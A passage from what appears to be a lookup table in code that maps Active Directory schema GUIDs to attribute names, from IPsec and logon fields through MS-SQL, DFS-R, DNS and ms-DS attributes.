"Ipsec-ISAKMP-Reference", "b40ff81c-427a-11d1-a9c2-0000f80367c1": "Ipsec-Name", "07383075-91df-11d1-aebc-0000f80367c1": "IPSEC-Negotiation-Policy-Action", "b40ff822-427a-11d1-a9c2-0000f80367c1": "Ipsec-Negotiation-Policy-Reference", "07383074-91df-11d1-aebc-0000f80367c1": "IPSEC-Negotiation-Policy-Type", "b40ff821-427a-11d1-a9c2-0000f80367c1": "Ipsec-NFA-Reference", "b40ff824-427a-11d1-a9c2-0000f80367c1": "Ipsec-Owners-Reference", "b7b13118-b82e-11d0-afee-0000f80367c1": "Ipsec-Policy-Reference", "ff2daebf-f463-495a-8405-3e483641eaa2": "ipServicePort", "cd96ec0b-1ed6-43b4-b26b-f170b645883f": "ipServiceProtocol", "00fbf30d-91fe-11d1-aebc-0000f80367c1": "Is-Critical-System-Object", "28630ebe-41d5-11d1-a9c1-0000f80367c1": "Is-Defunct", "bf96798f-0de6-11d0-a285-00aa003049e2": "Is-Deleted", "f4c453f0-c5f1-11d1-bbcb-0080c76670c0": "Is-Ephemeral", "19405b9d-3cfa-11d1-a9c0-0000f80367c1": "Is-Member-Of-Partial-Attribute-Set", "19405b9c-3cfa-11d1-a9c0-0000f80367c1": "Is-Privilege-Holder", "8fb59256-55f1-444b-aacb-f5b482fe3459": "Is-Recycled", "bf967992-0de6-11d0-a285-00aa003049e2": "Is-Single-Valued", "bac80572-09c4-4fa9-9ae6-7628d7adbe0e": "jpegPhoto", "bf967993-0de6-11d0-a285-00aa003049e2": "Keywords", "1677581f-47f3-11d1-a9c3-0000f80367c1": "Knowledge-Information", "bf9679a2-0de6-11d0-a285-00aa003049e2": "Locality-Name", "c569bb46-c680-44bc-a273-e6c227d71b45": "labeledURI", "1fbb0be8-ba63-11d0-afef-0000f80367c1": "Last-Backup-Restoration-Time", "bf967995-0de6-11d0-a285-00aa003049e2": "Last-Content-Indexed", "52ab8670-5709-11d1-a9c6-0000f80367c1": "Last-Known-Parent", "bf967996-0de6-11d0-a285-00aa003049e2": "Last-Logoff", "bf967997-0de6-11d0-a285-00aa003049e2": "Last-Logon", "c0e20a04-0e5a-4ff3-9482-5efeaecd7060": "Last-Logon-Timestamp", "bf967998-0de6-11d0-a285-00aa003049e2": "Last-Set-Time", "7d6c0e9c-7e20-11d0-afd6-00c04fd930c9": "Last-Update-Sequence", "7359a352-90f7-11d1-aebc-0000f80367c1": "LDAP-Admin-Limits", "bf96799a-0de6-11d0-a285-00aa003049e2": "LDAP-Display-Name", "7359a353-90f7-11d1-aebc-0000f80367c1": "LDAP-IPDeny-List", "28630ebc-41d5-11d1-a9c1-0000f80367c1": "Legacy-Exchange-DN", "bf96799b-0de6-11d0-a285-00aa003049e2": "Link-ID", "2ae80fe2-47b4-11d0-a1a4-00c04fd930c9": "Link-Track-Secret", "bf96799d-0de6-11d0-a285-00aa003049e2": "Lm-Pwd-History", "bf9679a1-0de6-11d0-a285-00aa003049e2": "Locale-ID", "a746f0d1-78d0-11d2-9916-0000f87a57d4": "Localization-Display-Id", "d9e18316-8939-11d1-aebc-0000f80367c1": "Localized-Description", "bf96799e-0de6-11d0-a285-00aa003049e2": "Local-Policy-Flags", "80a67e4d-9f22-11d0-afdd-00c04fd930c9": "Local-Policy-Reference", "09dcb79f-165f-11d0-a064-00aa006c33ed": "Location", "bf9679a5-0de6-11d0-a285-00aa003049e2": "Lockout-Duration", "bf9679a4-0de6-11d0-a285-00aa003049e2": "Lock-Out-Observation-Window", "bf9679a6-0de6-11d0-a285-00aa003049e2": "Lockout-Threshold", "28630ebf-41d5-11d1-a9c1-0000f80367c1": "Lockout-Time", "a553d12c-3231-4c5e-8adf-8d189697721e": "loginShell", "bf9679aa-0de6-11d0-a285-00aa003049e2": "Logon-Count", "bf9679ab-0de6-11d0-a285-00aa003049e2": "Logon-Hours", "bf9679ac-0de6-11d0-a285-00aa003049e2": "Logon-Workstation", "bf9679ad-0de6-11d0-a285-00aa003049e2": "LSA-Creation-Time", "bf9679ae-0de6-11d0-a285-00aa003049e2": "LSA-Modified-Count", "e6a522dd-9770-43e1-89de-1de5044328f7": "macAddress", "bf9679af-0de6-11d0-a285-00aa003049e2": "Machine-Architecture", "c9b6358e-bb38-11d0-afef-0000f80367c1": "Machine-Password-Change-Interval", "bf9679b2-0de6-11d0-a285-00aa003049e2": "Machine-Role", "80a67e4f-9f22-11d0-afdd-00c04fd930c9": "Machine-Wide-Policy", "bf967961-0de6-11d0-a285-00aa003049e2": "E-mail-Addresses", "26d9736f-6070-11d1-a9c6-0000f80367c1": "SMTP-Mail-Address", "0296c120-40da-11d1-a9c0-0000f80367c1": "Managed-By", "0296c124-40da-11d1-a9c0-0000f80367c1": "Managed-Objects", "bf9679b5-0de6-11d0-a285-00aa003049e2": "Manager", "bf9679b7-0de6-11d0-a285-00aa003049e2": "MAPI-ID", "bf9679b9-0de6-11d0-a285-00aa003049e2": "Marshalled-Interface", "e48e64e0-12c9-11d3-9102-00c04fd91ab1": "Mastered-By", "bf9679bb-0de6-11d0-a285-00aa003049e2": "Max-Pwd-Age", "bf9679bc-0de6-11d0-a285-00aa003049e2": "Max-Renew-Age", "bf9679bd-0de6-11d0-a285-00aa003049e2": "Max-Storage", "bf9679be-0de6-11d0-a285-00aa003049e2": "Max-Ticket-Age", "bf9679bf-0de6-11d0-a285-00aa003049e2": "May-Contain", "11b6cc8b-48c4-11d1-a9c3-0000f80367c1": "meetingAdvertiseScope", "11b6cc83-48c4-11d1-a9c3-0000f80367c1": "meetingApplication", "11b6cc92-48c4-11d1-a9c3-0000f80367c1": "meetingBandwidth", "11b6cc93-48c4-11d1-a9c3-0000f80367c1": "meetingBlob", "11b6cc87-48c4-11d1-a9c3-0000f80367c1": "meetingContactInfo", "11b6cc7e-48c4-11d1-a9c3-0000f80367c1": "meetingDescription", "11b6cc91-48c4-11d1-a9c3-0000f80367c1": "meetingEndTime", "11b6cc7c-48c4-11d1-a9c3-0000f80367c1": "meetingID", "11b6cc89-48c4-11d1-a9c3-0000f80367c1": "meetingIP", "11b6cc8e-48c4-11d1-a9c3-0000f80367c1": "meetingIsEncrypted", "11b6cc7f-48c4-11d1-a9c3-0000f80367c1": "meetingKeyword", "11b6cc84-48c4-11d1-a9c3-0000f80367c1": "meetingLanguage", "11b6cc80-48c4-11d1-a9c3-0000f80367c1": "meetingLocation", "11b6cc85-48c4-11d1-a9c3-0000f80367c1": "meetingMaxParticipants", "11b6cc7d-48c4-11d1-a9c3-0000f80367c1": "meetingName", "11b6cc86-48c4-11d1-a9c3-0000f80367c1": "meetingOriginator", "11b6cc88-48c4-11d1-a9c3-0000f80367c1": "meetingOwner", "11b6cc81-48c4-11d1-a9c3-0000f80367c1": "meetingProtocol", "11b6cc8d-48c4-11d1-a9c3-0000f80367c1": "meetingRating", "11b6cc8f-48c4-11d1-a9c3-0000f80367c1": "meetingRecurrence", "11b6cc8a-48c4-11d1-a9c3-0000f80367c1": "meetingScope", "11b6cc90-48c4-11d1-a9c3-0000f80367c1": "meetingStartTime", "11b6cc82-48c4-11d1-a9c3-0000f80367c1": "meetingType", "11b6cc8c-48c4-11d1-a9c3-0000f80367c1": "meetingURL", "bf9679c0-0de6-11d0-a285-00aa003049e2": "Member", "0f6a17dc-53e5-4be8-9442-8f3ce2f9012a": "memberNisNetgroup", "bf967991-0de6-11d0-a285-00aa003049e2": "Is-Member-Of-DL", "03dab236-672e-4f61-ab64-f77d2dc2ffab": "memberUid", "0296c122-40da-11d1-a9c0-0000f80367c1": "MHS-OR-Address", "bf9679f2-0de6-11d0-a285-00aa003049e2": "Other-Name", "bf9679c2-0de6-11d0-a285-00aa003049e2": "Min-Pwd-Age", "bf9679c3-0de6-11d0-a285-00aa003049e2": "Min-Pwd-Length", "bf9679c4-0de6-11d0-a285-00aa003049e2": "Min-Ticket-Age", "f0f8ffa3-1191-11d0-a060-00aa006c33ed": "Phone-Mobile-Primary", "bf9679c5-0de6-11d0-a285-00aa003049e2": "Modified-Count", "bf9679c6-0de6-11d0-a285-00aa003049e2": "Modified-Count-At-Last-Prom", "9a7ad94a-ca53-11d1-bbd0-0080c76670c0": "Modify-Time-Stamp", "bf9679c7-0de6-11d0-a285-00aa003049e2": "Moniker", "bf9679c8-0de6-11d0-a285-00aa003049e2": "Moniker-Display-Name", "1f2ac2c8-3b71-11d2-90cc-00c04fd91ab1": "Move-Tree-State", "178b7bc2-b63a-11d2-90e1-00c04fd91ab1": "MS-DS-Consistency-Child-Count", "23773dc2-b63a-11d2-90e1-00c04fd91ab1": "MS-DS-Consistency-Guid", "c5e60132-1480-11d3-91c1-0000f87a57d4": "MS-DS-Creator-SID", "d064fb68-1480-11d3-91c1-0000f87a57d4": "MS-DS-Machine-Account-Quota", "0ea12b84-08b3-11d3-91bc-0000f87a57d4": "MS-DS-Replicates-NC-Reason", "f2dd7bab-1f3b-47cf-89fa-143b56ad0a3d": "ms-DS-User-Account-Auto-Locked", "5a87c7f2-93c5-454c-a8c5-8cb09613292e": ( "ms-DS-User-Encrypted-Text-Password-Allowed" ), "8f066172-a25e-4f53-8dcd-0a67d5fb883d": "ms-DS-User-Password-Not-Required", "9c1495a5-4d76-468e-991e-1433b0a67855": "ms-net-ieee-80211-GP-PolicyData", "35697062-1eaf-448b-ac1e-388e0be4fdee": "ms-net-ieee-80211-GP-PolicyGUID", "0f69c62e-088e-4ff5-a53a-e923cec07c0a": "ms-net-ieee-80211-GP-PolicyReserved", "8398948b-7457-4d91-bd4d-8d7ed669c9f7": "ms-net-ieee-8023-GP-PolicyData", "94a7b05a-b8b2-4f59-9c25-39e69baa1684": "ms-net-ieee-8023-GP-PolicyGUID", "d3c527c7-2606-4deb-8cfd-18426feec8ce": "ms-net-ieee-8023-GP-PolicyReserved", "e0c6baae-ccee-11d2-9993-0000f87a57d4": "MS-SQL-Alias", "db77be4a-ccee-11d2-9993-0000f87a57d4": "MS-SQL-AllowAnonymousSubscription", "c4186b6e-d34b-11d2-999a-0000f87a57d4": "MS-SQL-AllowImmediateUpdatingSubscription", "c3bb7054-d34b-11d2-999a-0000f87a57d4": "MS-SQL-AllowKnownPullSubscription", "c458ca80-d34b-11d2-999a-0000f87a57d4": "MS-SQL-AllowQueuedUpdatingSubscription", "c49b8be8-d34b-11d2-999a-0000f87a57d4": "MS-SQL-AllowSnapshotFilesFTPDownloading", "8fda89f4-ccee-11d2-9993-0000f87a57d4": "MS-SQL-AppleTalk", "fbcda2ea-ccee-11d2-9993-0000f87a57d4": "MS-SQL-Applications", "603e94c4-ccee-11d2-9993-0000f87a57d4": "MS-SQL-Build", "696177a6-ccee-11d2-9993-0000f87a57d4": "MS-SQL-CharacterSet", "7778bd90-ccee-11d2-9993-0000f87a57d4": "MS-SQL-Clustered", "a92d23da-ccee-11d2-9993-0000f87a57d4": "MS-SQL-ConnectionURL", "4f6cbdd8-ccee-11d2-9993-0000f87a57d4": "MS-SQL-Contact", "ede14754-ccee-11d2-9993-0000f87a57d4": "MS-SQL-CreationDate", "d5a0dbdc-ccee-11d2-9993-0000f87a57d4": "MS-SQL-Database", "8386603c-ccef-11d2-9993-0000f87a57d4": "MS-SQL-Description", "bcdd4f0e-ccee-11d2-9993-0000f87a57d4": "MS-SQL-GPSHeight", "b222ba0e-ccee-11d2-9993-0000f87a57d4": "MS-SQL-GPSLatitude", "b7577c94-ccee-11d2-9993-0000f87a57d4": "MS-SQL-GPSLongitude", "d0aedb2e-ccee-11d2-9993-0000f87a57d4": "MS-SQL-InformationDirectory", "a42cd510-ccee-11d2-9993-0000f87a57d4": "MS-SQL-InformationURL", "01e9a98a-ccef-11d2-9993-0000f87a57d4": "MS-SQL-Keywords", "c57f72f4-ccee-11d2-9993-0000f87a57d4": "MS-SQL-Language", "f2b6abca-ccee-11d2-9993-0000f87a57d4": "MS-SQL-LastBackupDate", "f6d6dd88-ccee-11d2-9993-0000f87a57d4": "MS-SQL-LastDiagnosticDate", "9fcc43d4-ccee-11d2-9993-0000f87a57d4": "MS-SQL-LastUpdatedDate", "561c9644-ccee-11d2-9993-0000f87a57d4": "MS-SQL-Location", "5b5d448c-ccee-11d2-9993-0000f87a57d4": "MS-SQL-Memory", "8157fa38-ccee-11d2-9993-0000f87a57d4": "MS-SQL-MultiProtocol", "3532dfd8-ccee-11d2-9993-0000f87a57d4": "MS-SQL-Name", "7b91c840-ccee-11d2-9993-0000f87a57d4": "MS-SQL-NamedPipe", "ae0c11b8-ccee-11d2-9993-0000f87a57d4": "MS-SQL-PublicationURL", "c1676858-d34b-11d2-999a-0000f87a57d4": "MS-SQL-Publisher", "48fd44ea-ccee-11d2-9993-0000f87a57d4": "MS-SQL-RegisteredOwner", "64933a3e-ccee-11d2-9993-0000f87a57d4": "MS-SQL-ServiceAccount", "e9098084-ccee-11d2-9993-0000f87a57d4": "MS-SQL-Size", "6ddc42c0-ccee-11d2-9993-0000f87a57d4": "MS-SQL-SortOrder", "86b08004-ccee-11d2-9993-0000f87a57d4": "MS-SQL-SPX", "9a7d4770-ccee-11d2-9993-0000f87a57d4": "MS-SQL-Status", "8ac263a6-ccee-11d2-9993-0000f87a57d4": "MS-SQL-TCPIP", "c4e311fc-d34b-11d2-999a-0000f87a57d4": "MS-SQL-ThirdParty", "ca48eba8-ccee-11d2-9993-0000f87a57d4": "MS-SQL-Type", "72dc918a-ccee-11d2-9993-0000f87a57d4": "MS-SQL-UnicodeSortOrder", "c07cc1d0-ccee-11d2-9993-0000f87a57d4": "MS-SQL-Version", "94c56394-ccee-11d2-9993-0000f87a57d4": "MS-SQL-Vines", "62f29b60-be74-4630-9456-2f6691993a86": "ms-Authz-Central-Access-Policy-ID", "07831919-8f94-4fb6-8a42-91545dccdad3": "ms-Authz-Effective-Security-Policy", "8e1685c6-3e2f-48a2-a58d-5af0ea789fa0": "ms-Authz-Last-Effective-Security-Policy", "57f22f7a-377e-42c3-9872-cec6f21d2e3e": ( "ms-Authz-Member-Rules-In-Central-Access-Policy" ), "516e67cf-fedd-4494-bb3a-bc506a948891": ( "ms-Authz-Member-Rules-In-Central-Access-Policy-BL" ), "b946bece-09b5-4b6a-b25a-4b63a330e80e": "ms-Authz-Proposed-Security-Policy", "80997877-f874-4c68-864d-6e508a83bdbd": "ms-Authz-Resource-Condition", "998b10f7-aa1a-4364-b867-753d197fe670": "ms-COM-DefaultPartitionLink", "430f678b-889f-41f2-9843-203b5a65572f": "ms-COM-ObjectId", "09abac62-043f-4702-ac2b-6ca15eee5754": "ms-COM-PartitionLink", "67f121dc-7d02-4c7d-82f5-9ad4c950ac34": "ms-COM-PartitionSetLink", "9e6f3a4d-242c-4f37-b068-36b57f9fc852": "ms-COM-UserLink", "8e940c8a-e477-4367-b08d-ff2ff942dcd7": "ms-COM-UserPartitionSetLink", "963d2751-48be-11d1-a9c3-0000f80367c1": "Mscope-Id", "b786cec9-61fd-4523-b2c1-5ceb3860bb32": "ms-DFS-Comment-v2", "35b8b3d9-c58f-43d6-930e-5040f2f1a781": "ms-DFS-Generation-GUID-v2", "3c095e8a-314e-465b-83f5-ab8277bcf29b": "ms-DFS-Last-Modified-v2", "edb027f3-5726-4dee-8d4e-dbf07e1ad1f1": "ms-DFS-Link-Identity-GUID-v2", "86b021f6-10ab-40a2-a252-1dc0cc3be6a9": "ms-DFS-Link-Path-v2", "57cf87f7-3426-4841-b322-02b3b6e9eba8": "ms-DFS-Link-Security-Descriptor-v2", "200432ce-ec5f-4931-a525-d7f4afe34e68": "ms-DFS-Namespace-Identity-GUID-v2", "0c3e5bc5-eb0e-40f5-9b53-334e958dffdb": "ms-DFS-Properties-v2", "ec6d7855-704a-4f61-9aa6-c49a7c1d54c7": "ms-DFS-Schema-Major-Version", "fef9a725-e8f1-43ab-bd86-6a0115ce9e38": "ms-DFS-Schema-Minor-Version", "2d7826f0-4cf7-42e9-a039-1110e0d9ca99": "ms-DFS-Short-Name-Link-Path-v2", "6ab126c6-fa41-4b36-809e-7ca91610d48f": "ms-DFS-Target-List-v2", "ea944d31-864a-4349-ada5-062e2c614f5e": "ms-DFS-Ttl-v2", "db7a08e7-fc76-4569-a45f-f5ecb66a88b5": "ms-DFSR-CachePolicy", "936eac41-d257-4bb9-bd55-f310a3cf09ad": "ms-DFSR-CommonStagingPath", "135eb00e-4846-458b-8ea2-a37559afd405": "ms-DFSR-CommonStagingSizeInMb", "6c7b5785-3d21-41bf-8a8a-627941544d5a": "ms-DFSR-ComputerReference", "5eb526d7-d71b-44ae-8cc6-95460052e6ac": "ms-DFSR-ComputerReferenceBL", "5cf0bcc8-60f7-4bff-bda6-aea0344eb151": "ms-DFSR-ConflictPath", "9ad33fc9-aacf-4299-bb3e-d1fc6ea88e49": "ms-DFSR-ConflictSizeInMb", "1035a8e1-67a8-4c21-b7bb-031cdf99d7a0": "ms-DFSR-ContentSetGuid", "87811bd5-cd8b-45cb-9f5d-980f3a9e0c97": "ms-DFSR-DefaultCompressionExclusionFilter", "817cf0b8-db95-4914-b833-5a079ef65764": "ms-DFSR-DeletedPath", "53ed9ad1-9975-41f4-83f5-0c061a12553a": "ms-DFSR-DeletedSizeInMb", "f7b85ba9-3bf9-428f-aab4-2eee6d56f063": "ms-DFSR-DfsLinkTarget", "2cc903e2-398c-443b-ac86-ff6b01eac7ba": "ms-DFSR-DfsPath", "93c7b477-1f2e-4b40-b7bf-007e8d038ccf": "ms-DFSR-DirectoryFilter", "6a84ede5-741e-43fd-9dd6-aa0f61578621": "ms-DFSR-DisablePacketPrivacy", "03726ae7-8e7d-4446-8aae-a91657c00993": "ms-DFSR-Enabled", "78f011ec-a766-4b19-adcf-7b81ed781a4d": "ms-DFSR-Extension", "d68270ac-a5dc-4841-a6ac-cd68be38c181": "ms-DFSR-FileFilter", "fe515695-3f61-45c8-9bfa-19c148c57b09": "ms-DFSR-Flags", "048b4692-6227-4b67-a074-c4437083e14b": "ms-DFSR-Keywords", "2ab0e48d-ac4e-4afc-83e5-a34240db6198": "ms-DFSR-MaxAgeInCacheInMin", "261337aa-f1c3-44b2-bbea-c88d49e6f0c7": "ms-DFSR-MemberReference", "adde62c6-1880-41ed-bd3c-30b7d25e14f0": "ms-DFSR-MemberReferenceBL", "4c5d607a-ce49-444a-9862-82a95f5d1fcc": "ms-DFSR-MinDurationCacheInMin", "7d523aff-9012-49b2-9925-f922a0018656": "ms-DFSR-OnDemandExclusionDirectoryFilter", "a68359dc-a581-4ee6-9015-5382c60f0fb4": "ms-DFSR-OnDemandExclusionFileFilter", "d6d67084-c720-417d-8647-b696237a114c": "ms-DFSR-Options", "11e24318-4ca6-4f49-9afe-e5eb1afa3473": "ms-DFSR-Options2", "eb20e7d6-32ad-42de-b141-16ad2631b01b": "ms-DFSR-Priority", "e3b44e05-f4a7-4078-a730-f48670a743f8": "ms-DFSR-RdcEnabled", "f402a330-ace5-4dc1-8cc9-74d900bf8ae0": "ms-DFSR-RdcMinFileSizeInKb", "5ac48021-e447-46e7-9d23-92c0c6a90dfb": "ms-DFSR-ReadOnly", "2dad8796-7619-4ff8-966e-0a5cc67b287f": "ms-DFSR-ReplicationGroupGuid", "eeed0fc8-1001-45ed-80cc-bbf744930720": "ms-DFSR-ReplicationGroupType", "51928e94-2cd8-4abe-b552-e50412444370": "ms-DFSR-RootFence", "d7d5e8c1-e61f-464f-9fcf-20bbe0a2ec54": "ms-DFSR-RootPath", "90b769ac-4413-43cf-ad7a-867142e740a3": "ms-DFSR-RootSizeInMb", "4699f15f-a71f-48e2-9ff5-5897c0759205": "ms-DFSR-Schedule", "d64b9c23-e1fa-467b-b317-6964d744d633": "ms-DFSR-StagingCleanupTriggerInPercent", "86b9a69e-f0a6-405d-99bb-77d977992c2a": "ms-DFSR-StagingPath", "250a8f20-f6fc-4559-ae65-e4b24c67aebe": "ms-DFSR-StagingSizeInMb", "23e35d4c-e324-4861-a22f-e199140dae00": "ms-DFSR-TombstoneExpiryInMin", "1a861408-38c3-49ea-ba75-85481a77c655": "ms-DFSR-Version", "28c458f5-602d-4ac9-a77c-b3f1be503a7e": "ms-DNS-DNSKEY-Records", "8f4e317f-28d7-442c-a6df-1f491f97b326": "ms-DNS-DNSKEY-Record-Set-TTL", "5c5b7ad2-20fa-44bb-beb3-34b9c0f65579": "ms-DNS-DS-Record-Algorithms", "29869b7c-64c4-42fe-97d5-fbc2fa124160": "ms-DNS-DS-Record-Set-TTL", "aa12854c-d8fc-4d5e-91ca-368b8d829bee": "ms-DNS-Is-Signed", "0be0dd3b-041a-418c-ace9-2f17d23e9d42": "ms-DNS-Keymaster-Zones", "0dc063c1-52d9-4456-9e15-9c2434aafd94": "ms-DNS-Maintain-Trust-Anchor", "387d9432-a6d1-4474-82cd-0a89aae084ae": "ms-DNS-NSEC3-Current-Salt", "ff9e5552-7db7-4138-8888-05ce320a0323": "ms-DNS-NSEC3-Hash-Algorithm", "80b70aab-8959-4ec0-8e93-126e76df3aca": "ms-DNS-NSEC3-Iterations", "7bea2088-8ce2-423c-b191-66ec506b1595": "ms-DNS-NSEC3-OptOut", "13361665-916c-4de7-a59d-b1ebbd0de129": "ms-DNS-NSEC3-Random-Salt-Length", "aff16770-9622-4fbc-a128-3088777605b9": "ms-DNS-NSEC3-User-Salt", "285c6964-c11a-499e-96d8-bf7c75a223c6": "ms-DNS-Parent-Has-Secure-Delegation", "ba340d47-2181-4ca0-a2f6-fae4479dab2a": "ms-DNS-Propagation-Time", "27d93c40-065a-43c0-bdd8-cdf2c7d120aa": "ms-DNS-RFC5011-Key-Rollovers", "f6b0f0be-a8e4-4468-8fd9-c3c47b8722f9": "ms-DNS-Secure-Delegation-Polling-Period", "03d4c32e-e217-4a61-9699-7bbc4729a026": "ms-DNS-Signature-Inception-Offset", "3443d8cd-e5b6-4f3b-b098-659a0214a079": "ms-DNS-Signing-Key-Descriptors", "b7673e6d-cad9-4e9e-b31a-63e8098fdd63": "ms-DNS-Signing-Keys", "c79f2199-6da1-46ff-923c-1f3f800c721e": "ms-DNS-Sign-With-NSEC3", "e85e1204-3434-41ad-9b56-e2901228fff0": "MS-DRM-Identity-Certificate", "80863791-dbe9-4eb8-837e-7f0ab55d9ac7": "ms-DS-Additional-Dns-Host-Name", "975571df-a4d5-429a-9f59-cdc6581d91e6": "ms-DS-Additional-Sam-Account-Name", "8469441b-9ac4-4e45-8205-bd219dbf672d": "ms-DS-Allowed-DNS-Suffixes", "3f78c3e5-f79a-46bd-a0b8-9d18116ddc79": ( "ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity" ), "800d94d7-b7a1-42a1-b14d-7cae1423d07f": "ms-DS-Allowed-To-Delegate-To", "d3aa4a5c-4e03-4810-97aa-2b339e7a434b": "MS-DS-All-Users-Trust-Quota", "693f2006-5764-3d4a-8439-58f04aab4b59": "ms-DS-Applies-To-Resource-Types", "e185d243-f6ce-4adb-b496-b0c005d7823c": "ms-DS-Approx-Immed-Subordinates", "3e1ee99c-6604-4489-89d9-84798a89515a": "ms-DS-AuthenticatedAt-DC", "e8b2c971-a6df-47bc-8d6f-62770d527aa5": "ms-DS-AuthenticatedTo-Accountlist", "c4af1073-ee50-4be0-b8c0-89a41fe99abe": "ms-DS-Auxiliary-Classes", "503fc3e8-1cc6-461a-99a3-9eee04f402a7": "ms-DS-Az-Application-Data", "db5b0728-6208-4876-83b7-95d3e5695275": "ms-DS-Az-Application-Name", "7184a120-3ac4-47ae-848f-fe0ab20784d4": "ms-DS-Az-Application-Version", "33d41ea8-c0c9-4c92-9494-f104878413fd": "ms-DS-Az-Biz-Rule", "52994b56-0e6c-4e07-aa5c-ef9d7f5a0e25": "ms-DS-Az-Biz-Rule-Language", "013a7277-5c2d-49ef-a7de-b765b36a3f6f": "ms-DS-Az-Class-ID", "6448f56a-ca70-4e2e-b0af-d20e4ce653d0": "ms-DS-Az-Domain-Timeout", "f90abab0-186c-4418-bb85-88447c87222a": "ms-DS-Az-Generate-Audits", "b5f7e349-7a5b-407c-a334-a31c3f538b98": "ms-DS-Az-Generic-Data", "665acb5c-bb92-4dbc-8c59-b3638eab09b3": "ms-DS-Az-Last-Imported-Biz-Rule-Path", "5e53368b-fc94-45c8-9d7d-daf31ee7112d": "ms-DS-Az-LDAP-Query", "cfb9adb7-c4b7-4059-9568-1ed9db6b7248": "ms-DS-Az-Major-Version", "ee85ed93-b209-4788-8165-e702f51bfbf3": "ms-DS-Az-Minor-Version", "8491e548-6c38-4365-a732-af041569b02c": "ms-DS-Az-Object-Guid", "a5f3b553-5d76-4cbe-ba3f-4312152cab18": "ms-DS-Az-Operation-ID", "515a6b06-2617-4173-8099-d5605df043c6": "ms-DS-Az-Scope-Name", "2629f66a-1f95-4bf3-a296-8e9d7b9e30c8": "ms-DS-Az-Script-Engine-Cache-Max", "87d0fb41-2c8b-41f6-b972-11fdfd50d6b0": "ms-DS-Az-Script-Timeout", "7b078544-6c82-4fe9-872f-ff48ad2b2e26": "ms-DS-Az-Task-Is-Role-Definition", "d31a8757-2447-4545-8081-3bb610cacbf2": "ms-DS-Behavior-Version", "3ced1465-7b71-2541-8780-1e1ea6243a82": "ms-DS-BridgeHead-Servers-Used", "f0d8972e-dd5b-40e5-a51d-044c7c17ece7": "ms-DS-Byte-Array", "3566bf1f-beee-4dcb-8abe-ef89fcfec6c1": "ms-DS-Cached-Membership-Time-Stamp", "69cab008-cdd4-4bc9-bab8-0ff37efe1b20": "ms-DS-Cached-Membership", "eebc123e-bae6-4166-9e5b-29884a8b76b0": "ms-DS-Claim-Attribute-Source", "cd789fb9-96b4-4648-8219-ca378161af38": "ms-DS-Claim-Is-Single-Valued", "0c2ce4c7-f1c3-4482-8578-c60d4bb74422": "ms-DS-Claim-Is-Value-Space-Restricted", "2e28edee-ed7c-453f-afe4-93bd86f2174f": "ms-DS-Claim-Possible-Values", "52c8d13a-ce0b-4f57-892b-18f5a43a2400": "ms-DS-Claim-Shares-Possible-Values-With", "54d522db-ec95-48f5-9bbd-1880ebbb2180": ( "ms-DS-Claim-Shares-Possible-Values-With-BL" ), "fa32f2a6-f28b-47d0-bf91-663e8f910a72": "ms-DS-Claim-Source", "92f19c05-8dfa-4222-bbd1-2c4f01487754": "ms-DS-Claim-Source-Type", "6afb0e4c-d876-437c-aeb6-c3e41454c272": "ms-DS-Claim-Type-Applies-To-Class", "c66217b9-e48e-47f7-b7d5-6552b8afd619": "ms-DS-Claim-Value-Type", "234fcbd8-fb52-4908-a328-fd9f6e58e403": "ms-DS-Date-Time", "6818f726-674b-441b-8a3a-f40596374cea": "ms-DS-Default-Quota", "a9b38cb6-189a-4def-8a70-0fcfa158148e": "ms-DS-Deleted-Object-Lifetime", "5f8f45cb-0fb7-fc4f-b44f-66f781aa66dd": "ms-DS-Disable-For-Instances", "8f9d31dd-67ea-cd42-9b88-7cddb36c21f4": "ms-DS-Disable-For-Instances-BL", "2143acca-eead-4d29-b591-85fa49ce9173": "ms-DS-DnsRootAlias", "c137427e-9a73-b040-9190-1b095bb43288": "ms-DS-Egress-Claims-Transformation-Policy", "5706aeaf-b940-4fb2-bcfc-5268683ad9fe": "ms-DS-Enabled-Feature", "ce5b01bc-17c6-44b8-9dc1-a9668b00901b": "ms-DS-Enabled-Feature-BL", "e1e9bad7-c6dd-4101-a843-794cec85b038": "ms-DS-Entry-Time-To-Die", "9d054a5a-d187-46c1-9d85-42dfc44a56dd": "ms-DS-ExecuteScriptPassword", "b92fd528-38ac-40d4-818d-0433380837c1": "ms-DS-External-Key", "604877cd-9cdb-47c7-b03d-3daadb044910": "ms-DS-External-Store", "dc3ca86f-70ad-4960-8425-a4d6313d93dd": "ms-DS-Failed-Interactive-Logon-Count", "c5d234e5-644a-4403-a665-e26e0aef5e98": ( "ms-DS-Failed-Interactive-Logon-Count-At-Last-Successful-Logon" ), "fb00dcdf-ac37-483a-9c12-ac53a6603033": "ms-DS-Filter-Containers", "1e5d393d-8cb7-4b4f-840a-973b36cc09c3": "ms-DS-Generation-Id", "a11703b7-5641-4d9c-863e-5fb3325e74e0": "ms-DS-GeoCoordinates-Altitude", "dc66d44e-3d43-40f5-85c5-3c12e169927e": "ms-DS-GeoCoordinates-Latitude", "94c42110-bae4-4cea-8577-af813af5da25": "ms-DS-GeoCoordinates-Longitude", "888eedd6-ce04-df40-b462-b8a50e41ba38": "ms-DS-GroupMSAMembership", "def449f1-fd3b-4045-98cf-d9658da788b5": "ms-DS-HAB-Seniority-Index", "6f17e347-a842-4498-b8b3-15e007da4fed": "ms-DS-Has-Domain-NCs", "1d3c2d18-42d0-4868-99fe-0eca1e6fa9f3": "ms-DS-Has-Full-Replica-NCs", "11e9a5bc-4517-4049-af9c-51554fb0fc09": "ms-DS-Has-Instantiated-NCs", "ae2de0e2-59d7-4d47-8d47-ed4dfe4357ad": "ms-DS-Has-Master-NCs", "80641043-15a2-40e1-92a2-8ca866f70776": "ms-DS-Host-Service-Account", "79abe4eb-88f3-48e7-89d6-f4bc7e98c331": "ms-DS-Host-Service-Account-BL", "86284c08-0c6e-1540-8b15-75147d23d20d": ( "ms-DS-Ingress-Claims-Transformation-Policy" ), "7bc64cea-c04e-4318-b102-3e0729371a65": "ms-DS-Integer", "bc60096a-1b47-4b30-8877-602c93f56532": "ms-DS-IntId", "ff155a2a-44e5-4de0-8318-13a58988de4f": "ms-DS-Is-Domain-For", "c8bc72e0-a6b4-48f0-94a5-fd76a88c9987": "ms-DS-Is-Full-Replica-For", "1df5cf33-0fe5-499e-90e1-e94b42718a46": "ms-DS-isGC", "37c94ff6-c6d4-498f-b2f9-c6f7f8647809": "ms-DS-Is-Partial-Replica-For", "6fabdcda-8c53-204f-b1a4-9df0c67c1eb4": "ms-DS-Is-Possible-Values-Present", "998c06ac-3f87-444e-a5df-11b03dc8a50c": 